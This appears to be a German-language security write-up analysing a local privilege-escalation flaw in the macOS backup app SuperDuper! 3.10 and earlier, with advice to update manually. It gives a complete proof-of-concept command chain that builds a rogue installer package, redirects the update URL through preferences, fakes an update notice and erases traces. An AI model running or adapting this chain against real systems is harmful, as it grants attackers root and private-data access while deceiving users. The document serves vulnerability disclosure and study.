
Dieses Problem scheint schlimmer zu sein, als der Entwickler vermuten lässt, und ich möchte nicht, dass dieser Teil untergeht. Der Entwickler merkte in seinem Blog an:
Dies kann nur passieren, wenn ein auf Ihrem System laufendes Programm nach SuperDuper sucht, um ein Update durchzuführen, ein echtes Update auf legitimen Wegen angeboten wird und Sie auf Upgrade klicken.
Das ist nicht wirklich wahr: Die Ausnutzung dieser Schwachstelle erfordert kein echtes Update, das auf legitimen Wegen angeboten wird. Akzeptieren Sie niemals, wirklich niemals ein Update von SuperDuper 3.10 und älter! Ich erkläre dies weiter unten genauer.
Es ist auch wichtig zu verstehen, dass diese Schwachstelle nicht nur eine Privilegienausweitung betrifft, sondern auch eine Untergrabung der Datenschutzkontrollen. Dieses Detail scheint im Blogbeitrag des Entwicklers ausgelassen worden zu sein.
Aus dem Blog des Entwicklers:
Unser Auto-Update-Mechanismus kann gekapert und dazu gebracht werden, ein Paket zu installieren, das nicht SuperDuper ist.
Obwohl wir unser Installationspaket signiert und notarisiert haben, prüft Gatekeeper diese Notarisierung nicht, wenn es vom macOS-Paketinstaller installiert wird. Daher könnte der Download ausgetauscht werden und wir würden stattdessen dieses Paket installieren. Da die Installation mit erweiterten Rechten erfolgt, könnte dies einem bösartigen Programm eines Drittanbieters, das Sie ebenfalls installieren müssten, Administratorzugriff auf Ihr System ermöglichen.
Aus der CVE:
Ein Problem in Shirt Pocket SuperDuper! V.3.10 und früher ermöglicht es einem lokalen Angreifer, über den Software-Update-Mechanismus beliebigen Code auszuführen.
Dieser Autor ist nicht der Entdecker der Schwachstelle; dieser wird vom SuperDuper-Entwickler als „anonymer Sicherheitsforscher" bezeichnet. Ich nehme keine Anerkennung für die Entdeckung dieser Schwachstelle in Anspruch, ich habe mich nur für eine technische Analyse interessiert.
CVSS 3.1-Score: 7.8 Hoch (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Um diese Schwachstelle zu vermeiden, löschen Sie entweder die SuperDuper!-Anwendung oder wenden Sie das 3.11-Update an.
Warnung: Sie müssen das Update direkt von der Website des Entwicklers herunterladen, um diese Schwachstelle zu vermeiden.
Diese Exploit-Analyse und der Proof of Concept dienen ausschließlich Bildungszwecken. Nutzung auf eigene Gefahr.
Anstatt eine Open-Source-Softwareupdate-Lösung zu implementieren, die von Hunderten von Entwicklern und Sicherheitsexperten getestet wurde, haben die SuperDuper-Entwickler einen eigenen Software-Update-Mechanismus entwickelt, der auf unsicheren Shell-Skripten basiert, die mit Root-Rechten und vollem Festplattenzugriff ausgeführt werden. Da die Software, die während des Updates installiert wird, nicht authentifiziert wird, wird SuperDuper dazu gebracht, die Software eines Angreifers zu installieren. Der Fix des Entwicklers behebt nur den Authentifizierungsaspekt dieser Schwachstelle, nicht die inhärenten Schwachstellen, die sich aus der Verwendung von Shell-Skripten zur Durchführung des Update-Prozesses ergeben.
Der Kommentar des Entwicklers, „Gatekeeper prüft diese Notarisierung nicht", ist irreführend. Gatekeeper greift, wenn man versucht, etwas zu öffnen, das im Browser heruntergeladen wurde, aber das ist bei einem internen Software-Update-Mechanismus einer Anwendung nicht anwendbar. Es liegt zu 100 % in der Verantwortung des Entwicklers, alles zu validieren, was seine Software herunterlädt und auf Ihrem Computer installiert – lassen Sie sich von diesem Entwickler nicht einreden, dass dies ein Versagen von Gatekeeper sei. Zum Kern des Exploits: Ein Angreifer kann SuperDuper dazu bringen, ein alternatives Paket zu installieren, und das geschieht mit erweiterten Rechten. Vermutlich würde es auch mit vollem Festplattenzugriff ausgeführt, da SuperDuper vollen Festplattenzugriff benötigt, um überhaupt etwas zu tun.
Der Blog des Entwicklers sagt außerdem:
Dies kann nur passieren, wenn ein auf Ihrem System laufendes Programm nach SuperDuper sucht, um ein Update durchzuführen, ein echtes Update auf legitimen Wegen angeboten wird und Sie auf Upgrade klicken.
Bei diesem Kommentar ging ich davon aus, dass es wahrscheinlich nicht möglich sein würde, diesen Exploit zu reproduzieren, da er serverseitige Änderungen am Update-Mechanismus beinhalten sollte, die zusammen mit der Veröffentlichung des 3.11-Patches vorgenommen worden wären. Mit anderen Worten: Um zu verhindern, dass ältere Versionen der Software von dieser Schwachstelle betroffen sind, haben sie den Update-Mechanismus doch sicher deaktiviert, oder? Nun ... Ich habe eine ältere Version von SuperDuper heruntergeladen, und als ich sie öffnete, wurde ich sofort mit einer Update-Benachrichtigung† begrüßt – einen Klick von einem möglichen Exploit entfernt. Das fand ich sehr faszinierend – wie soll jemand, der eine ältere Version der Anwendung verwendet, vor dieser Schwachstelle geschützt werden, wenn der Auto-Update-Mechanismus nicht deaktiviert ist? (Dies hängt mit der „Warnung" zusammen, die ich am Anfang dieses Artikels erwähnt habe; ich werde am Ende auf diese Frage zurückkommen.)
† Sozusagen ... Das Ergebnis war eigentlich sehr seltsam. Es gab weder eine Beschreibung des Updates noch einen Sicherheitshinweis; das Fenster war einfach leer mit einem Überspringen- und einem Update-Button. Benutzer älterer Versionen sind also nicht nur nicht vor dem Exploit geschützt, weil der Update-Mechanismus nicht deaktiviert ist, sondern sie werden auch nicht über den Update-Mechanismus über das Problem informiert.
Ich machte weiter. Wenn Sie das Upgrade anwenden, werden die internen Abläufe hilfreicherweise im SuperDuper-Log protokolliert; damit beginnen wir, um zu sehen, wie es funktioniert:
Transcript : UpgradeTranscript.plist
Ext Logging : Disabled
PHASE: 1. Upgrade Application
...ACTION: Downloading upgrade package
......COMMAND => Downloading update package...
......COMMAND => Preparing update package
...ACTION: Installing upgrade package
......COMMAND => Preserving SDAgent owner and mode bits
......COMMAND => Installing upgrade package
installer[3148] <Debug>: Product archive /tmp/SuperDuper!.pkg trustLevel=350
Viele Mac-Apps außerhalb des Mac App Store verwenden das Open-Source-Framework Sparkle, um Software-Updates (sicher) zu verwalten. Nicht so SuperDuper. Wie wir hier sehen, haben sie ein eigenes erstellt, und das ist ein großartiges Beispiel dafür, warum das oft eine schlechte Wahl ist. Software-Upgrade-Mechanismen sind bevorzugte Ziele für Exploits, daher erfordern sie viel Zeit und Fachwissen, um sie sicher zu halten. „UpgradeTranscript.plist" ist ein Verweis auf eine Datei in der SuperDuper-Anwendung, die eine Reihe von Terminal-Befehlen enthält, mit denen SuperDuper das Update herunterlädt und anwendet:
cat /Applications/SuperDuper\!.app/Contents/Resources/Transcripts/UpgradeTranscript.plist
<?xml version="1.0" encoding="UTF-8"?>
...
/usr/bin/curl SDHTTPproxy.Host --silent --show-error --output /tmp/superduper.tar.gz -L SDdownloadURL
cd /tmp; if [ -d superduper_install ]; then /bin/rm -rf superduper_install; fi; /bin/mkdir superduper_install; /usr/bin/tar xzf superduper.tar.gz; /bin/rm /tmp/superduper.tar.gz; if [ -d '/Library/Receipts/SuperDuper!.pkg' ]; then /bin/rm -rf '/Library/Receipts/SuperDuper!.pkg'; fi;
/usr/sbin/installer -allow -verboseR -dumplog -pkg '/tmp/SuperDuper!.pkg' -target / >&1 2>&1;
if [ ! -d '/tmp/superduper_install/SuperDuper!.app' ]; then /usr/bin/ditto -rsrc '/Applications/Utilities/SuperDuper!.app' '/tmp/superduper_install/SuperDuper!.app'; fi
/bin/rm -rf '/tmp/SuperDuper!.pkg' '/tmp/superduper_install' '/Library/Receipts/SuperDuper!.pkg'; if [ SDAppBundle.'Path != '/Applications/Utilities/SuperDuper!.app' -a -d '/Applications/Utilities/SuperDuper!.app' ]; then /bin/rm -rf '/Applications/Utilities/SuperDuper!.app'; fi
Ich sehe mindestens vier Probleme mit diesen Befehlen und dem Ablauf:
Paketinstaller können Shell-Skripte ausführen, daher nehme ich an, dass dies der bevorzugte Angriffsvektor für das alternative Installationspaket ist. Beginnen wir mit dem Bau eines Pakets, das ein Preinstall-Skript ausführt, und schauen wir dann, wie wir es in den Update-Mechanismus einschleusen können.
# Use of the "/tmp/superduper_install" installation folder offers convenient cleanup by SuperDuper
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
# create the script. /Library is only writable by root, so we will attempt to create a test file there.
# Getting the content of the Desktop folder requires a user-granted privacy privilege, so we will also attempt
# to pull that folder list into a text file on the desktop to see if we have full disk access. Note that to
# effectively test this part of the exploit, you should revoke Full Disk Access from Terminal.
cd ~; export home=`pwd`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\nexit 0\n" >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
# build the package
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
# put the package in a tar archive
cd /tmp/superduper_install/pkg
tar -cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
Eine kurze Randnotiz, um zu sehen, welche Art von Zugriff dieser Exploit dem Angreifer gewährt – wenn Sie das Shell-Skript manuell ausführen (vorausgesetzt, das Terminal hat keinen vollen Festplattenzugriff oder Zugriff auf „Dateien und Ordner"), erhalten Sie zwei Fehler:
touch: /Library/test: Permission denied
ls: /Users/user/Desktop: Operation not permitted
Ein Angreifer kann mit Root-Zugriff viel Schaden anrichten, aber mit Datenschutz-Zugriff kann er auch auf eine größere Bandbreite von Inhalten in Ihrem Home-Ordner zugreifen (Der Schreibtisch mag trivial erscheinen, aber eine Menge privater Daten wird im versteckten Library-Ordner gespeichert). Dieser Exploit verleiht ihm beides.
OK, das Erstellen des Pakets war der einfache Teil. Wie brechen wir in den Update-Mechanismus ein? Das Ausnutzen der Race Condition war ein naheliegender Kandidat, aber ich fragte mich, ob es möglich sein könnte, an diesem Teil des Ablaufs einzugreifen:
/usr/bin/curl SDHTTPproxy.Host --silent --show-error --output /tmp/superduper.tar.gz -L SDdownloadURL
Die Host- und Download-URL-Variablen stammen offensichtlich von außerhalb des Skripts. Können sie manipuliert werden? Apps, die den Sparkle-Software-Update-Mechanismus verwenden, speichern häufig eine URL für den „Software-Update-Check" in CFPreferences; ich fragte mich also, ob SuperDuper dasselbe tun könnte. Tatsächlich, aber schlimmer – anstatt nur eine URL für die Update-Prüfung zu speichern, legt SuperDuper die eigentliche Download-URL in CFPreferences ab:
defaults read com.blacey.SuperDuper
...
UMdownloadURL = "https://s3.amazonaws.com/shirtpocket/SuperDuper/beta/superduper2.tar.gz";
UMfailureCount = 0;
UMinfoURL = "https://s3.amazonaws.com/shirtpocket/SuperDuper/beta/superduperinfo2.rtf";
UMpublicVersion = "137.7";
Ich versuchte, die URL mit einer lokalen Dateisystem-URL zu überschreiben:
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
Ich öffnete SuperDuper erneut und klickte auf Update, aber das Update installierte weiterhin das Update des Entwicklers, nicht mein alternatives Paket. Natürlich – als SuperDuper das Update beim Start erneut sah, überschrieb es den Defaults-Wert. Ich versuchte es erneut und setzte den Wert, nachdem SuperDuper das Update angezeigt hatte; diesmal funktionierte es! Nun, die Update-Installation schlug tatsächlich fehl, aber der Angriff funktionierte – die Datei /Library/test wurde erstellt.
Ich löschte die Testdatei und wiederholte den Test, um zu überprüfen, ob es wirklich funktionierte. Ich bestätigte auch, dass die Datei private_data auf dem Schreibtisch nun die Ordnerliste des Schreibtischs enthielt – das Skript lief mit vollem Festplattenzugriff.
Ich hätte hier aufhören können, aber das Fehlerprotokoll zeigte, dass die Installation fehlschlug, weil SuperDuper nicht gefunden werden konnte:
COMMAND => Copying upgrade bundle to temporary location
***ERROR OCCURRED: ditto: Cannot get the real path for source '/Applications/Utilities/SuperDuper!.app'
Als ich die Logik der Shell-Skripte in UpgradeTranscript.plist erneut betrachtete, wurde mir klar, dass der Installer tatsächlich erfolgreich sein könnte, wenn ich die SuperDuper-Anwendung einfach in das alternative Paket kopiere (ditto gibt diesen Fehler aus, weil /tmp/superduper_install/SuperDuper!.app nicht existiert). Das erwies sich als schwieriger als nötig; SuperDuper stürzte während der Installation ständig ab. Es war viel einfacher, das Preinstall-Skript die App zur Laufzeit an den erwarteten Speicherort kopieren zu lassen:
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
cd ~; export home=`pwd`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\n" >> /tmp/superduper_install/script/preinstall
printf 'cp -R /Applications/SuperDuper\!.app /tmp/superduper_install/SuperDuper\!.app\n' >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
cd /tmp/superduper_install/pkg
tar cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
[Open SuperDuper for the update presentation]
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
Nun installierte SuperDuper das gefälschte Paket, und es schien erfolgreich zu installieren. SuperDuper startete sich selbst neu und zeigte das Update erneut an, was zu erwarten war, da es gerade die Kopie der alten Version, die wir in den tmp-Ordner gelegt hatten, neu installiert hatte. Das Fehlen einer Fehlermeldung reicht wahrscheinlich aus, um den durchschnittlichen Benutzer zu täuschen, dass wirklich nichts Schlimmes vorliegt, und er wird einfach erneut auf Upgrade klicken, diesmal um das echte Paket von der Website des Entwicklers zu installieren. In der Zwischenzeit ist der Exploit bereits aktiviert worden und der Benutzer zuckt nur mit den Schultern: „Hm, das war ein bisschen seltsam, aber es funktioniert jetzt wieder."
Es gibt hier immer noch ein logistisches Problem, das diesen Angriff schwer durchführbar machen würde: Der Angreifer müsste diesen „defaults"-Befehl ausführen, nachdem das Update dem Benutzer angezeigt wurde und bevor der Benutzer auf den Upgrade-Button klickt. Es ist sicherlich machbar; man könnte den Befehl „defaults write" einfach in einer Endlosschleife im Hintergrund ausführen, aber das würde Aufmerksamkeit erregen. Zuerst dachte ich, ich könnte die Preferences-Datei sperren, um das zu umgehen:
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
chflags uchg ~/Library/Preferences/com.blacey.SuperDuper.plist
[wait for SD update presentation, then the user can go ahead and apply it without any extra steps]
Aber das funktionierte nicht. Wenn man darüber nachdenkt, wie Preferences funktionieren, ergibt das Sinn. Anwendungen öffnen diese Dateien nicht jedes Mal und lesen die Werte, wenn sie eine Einstellung abrufen müssen; sie fragen vielmehr die „CFPreferences"-Schnittstelle nach dem Wert. Wenn SuperDuper den Wert für UMdownloadURL ändert, behält CFPreferences die Änderung im Speicher, auch wenn die physische Datei unverändert ist. Wenn SuperDuper später nach dem Wert dieser Einstellung fragt, erhält CFPreferences ihn aus dem Cache (und der Cache wird aktualisiert, wenn Änderungen an den physischen Dateien vorgenommen werden).
An diesem Punkt nagte etwas wirklich an mir – warum sollte der Entwickler sich die Mühe machen, die Download-URL in CFPreferences zu schreiben? Sicherlich schreibt man diese Werte nur dann in CFPreferences, wenn man auch vorhat, sie aus CFPreferences zu lesen, oder? Aber warum nicht einfach den Wert in einer Variablen im Speicher ablegen? Es gibt zwei große Probleme bei der Verwendung von CFPreferences auf diese Weise, die jeder erfahrene Mac-Entwickler kennen sollte:
Um meine Theorie zu testen, schrieb ich die Preference in die Domäne „currentHost", die die Anwendungsdomäne überschreibt:
defaults -currentHost write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
Dann startete ich SuperDuper neu und klickte auf Upgrade – das alternative Paket wurde installiert. Verblüffend. Das macht den Exploit so viel einfacher durchführbar; ein Angreifer könnte diese Preference einfach setzen und unbegrenzt darauf warten, dass ein Update veröffentlicht wird. Aber Moment: Wenn SuperDuper den Download-URL-Wert aus den Preferences abruft, könnte es dann auch die Versionsnummer abrufen? Könnte ein Angreifer im Grunde ein Update auslösen und SuperDuper dazu bringen, es anzuzeigen, obwohl der Entwickler keins veröffentlicht hat? Erstaunlicherweise ja! Alles zusammengenommen könnte ein Angreifer diese Befehle ausführen, um eine ältere (ungepatchte) Version von SuperDuper! dazu zu bringen, ein gefälschtes Update anzuzeigen, ein alternatives Paket zu installieren und SuperDuper gleichzeitig alle Spuren des Angriffs beseitigen zu lassen:
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\n" >> /tmp/superduper_install/script/preinstall
printf 'cp -R /Applications/SuperDuper\!.app /tmp/superduper_install/SuperDuper\!.app\n' >> /tmp/superduper_install/script/preinstall
printf "sudo -u $user defaults -currentHost delete com.blacey.SuperDuper\n" >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
cd /tmp/superduper_install/pkg
tar cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
defaults -currentHost write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
printf '<span style="font-weight: bold; font-size: 11pt; font-family: sans-serif;"><span style="color: red;">SuperDuper 4.0 (v140)</span> is now available for automatic upgrade!</span>\n' > /tmp/superduper_install/update.html
textutil -convert rtf /tmp/superduper_install/update.html
defaults -currentHost write com.blacey.SuperDuper UMpublicVersion "999"
defaults -currentHost write com.blacey.SuperDuper UMinfoURL "file:///tmp/superduper_install/update.rtf"
open '/Applications/SuperDuper!.app'
Wenn SuperDuper nach der Installation des alternativen Pakets neu lädt, wird das Update nicht mehr angezeigt, und der Benutzer glaubt weiterhin, die neue Version installiert zu haben, ohne zu ahnen, dass der Exploit aktiviert wurde.
Um auf den Anfang dieses Artikels zurückzukommen: Ich fragte mich: „Wie soll jemand, der eine ältere Version der Anwendung verwendet, vor dieser Schwachstelle geschützt werden, wenn der Auto-Update-Mechanismus nicht deaktiviert ist?" Wie sich herausstellt, spielt es keine Rolle, ob der Entwickler den Auto-Update-Mechanismus deaktiviert – diese Schwachstelle kann ohne (oder trotz) serverseitiger Änderungen ausgenutzt werden, und sie erfordert nicht einmal, dass der Entwickler ein „echtes" Update veröffentlicht. Die einzige Gegenmaßnahme besteht darin, dass Benutzer automatische Updates immer ablehnen, bis sie manuell auf eine gepatchte Version des Produkts aktualisiert haben.